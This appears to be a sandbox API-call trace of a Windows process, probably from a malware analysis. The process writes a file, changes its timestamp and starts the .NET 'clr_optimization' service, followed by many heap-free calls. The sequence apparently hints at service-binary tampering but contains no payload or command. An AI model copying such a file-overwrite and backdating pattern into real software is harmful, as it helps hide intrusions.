[0033.044] WriteFile (in: hFile=0x94, lpBuffer=0x1dfd570*, nNumberOfBytesToWrite=0x196b8, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1dfd570*, lpNumberOfBytesWritten=0x18fc58*=0x196b8, lpOverlapped=0x0) returned 1 [0033.047] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5d90) returned 1 [0033.047] SetFileTime (hFile=0x94, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0033.047] NtClose (Handle=0x94) returned 0x0 [0033.048] OpenServiceW (hSCManager=0x2d3600, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x10) returned 0x2d36c8 [0033.049] StartServiceW (hService=0x2d36c8, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0038.300] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0038.303] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0x1388) returned 0x0 [0038.741] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1dfd570) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7eae8) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ea60) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e9d8) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99600) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ed08) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ec80) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7eb70) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ebf8) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99690) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ef28) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7eea0) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ee18) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ed90) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d996d8) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f148) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f0c0) returned 1 [0038.742] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7efb0) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92de8) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99720) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f2e0) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f258) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f1d0) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f038) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99768) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f500) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f478) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f3f0) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f368) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997b0) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f720) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f698) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f610) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92ef0) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997f8) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f8b8) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f830) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f588) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f7a8) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99840) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fad8) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fa50) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f9c8) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92ff8) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99888) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fc70) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fbe8) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fb60) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0038.743] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d998d0) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d931a0) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93118) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fd80) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fcf8) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99918) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d933c0) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93338) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d932b0) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93228) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99960) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d935e0) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93558) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d934d0) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93448) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999a8) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93800) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93778) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d936f0) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93668) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999f0) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93a20) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93998) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93910) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93888) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99a38) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93c40) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93bb8) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93b30) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93aa8) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99a80) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93e60) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93dd8) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93d50) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93cc8) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99ac8) returned 1 [0038.744] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94108) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94080) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93ff8) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93ee8) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99648) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94328) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d942a0) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94190) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94218) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99b10) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94548) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d944c0) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d943b0) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94438) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99b58) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94768) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d946e0) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d945d0) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95100) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99ba0) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94900) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94878) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d947f0) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94658) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99be8) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94b20) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94a98) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94a10) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94988) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c30) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94d40) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94cb8) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94c30) returned 1 [0038.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94ba8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99c78) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94f60) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94ed8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94e50) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94dc8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99cc0) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d952a8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95220) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95070) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97208) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d08) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d954c8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95440) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95330) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d953b8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d50) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d956e8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95660) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d955d8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95550) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99d98) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95908) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95880) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d957f8) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95770) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99de0) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95b28) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95aa0) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95a18) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95990) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e28) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95d48) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95cc0) returned 1 [0038.746] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95c38) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95bb0) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23ec8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95f68) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95ee0) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95dd0) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95e58) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f10) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96188) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96100) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95ff0) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96078) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f58) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96210) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96298) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d94fe8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d973d8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fa0) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d964b8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96430) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96320) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d963a8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fe8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d966d8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96650) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d965c8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96540) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24030) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d968f8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96870) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96760) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d967e8) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24078) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96b18) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96a90) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96a08) returned 1 [0038.747] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d974e0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e240c0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96cb0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96c28) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96ba0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d975e8) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24108) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96e48) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96dc0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96d38) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d976f0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24150) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96fe0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96f58) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96980) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96ed0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24198) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93f70) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97178) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d970f0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97068) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e241e0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25060) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24fd8) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24f50) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24ec8) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24228) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25280) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e250e8) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25170) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e251f8) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24270) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e254a0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25418) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25390) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25308) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e242b8) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e256c0) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25638) returned 1 [0038.748] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e255b0) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25528) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24300) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e258e0) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25858) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e257d0) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e26eb0) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24348) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25a78) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e259f0) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25968) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e26fb8) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24390) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25c10) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25b88) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25748) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25b00) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e243d8) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25e30) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25da8) returned 1 [0038.749] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e25d20) returned 1 [0038.751] CloseServiceHandle (hSCObject=0x2d3600) returned 1 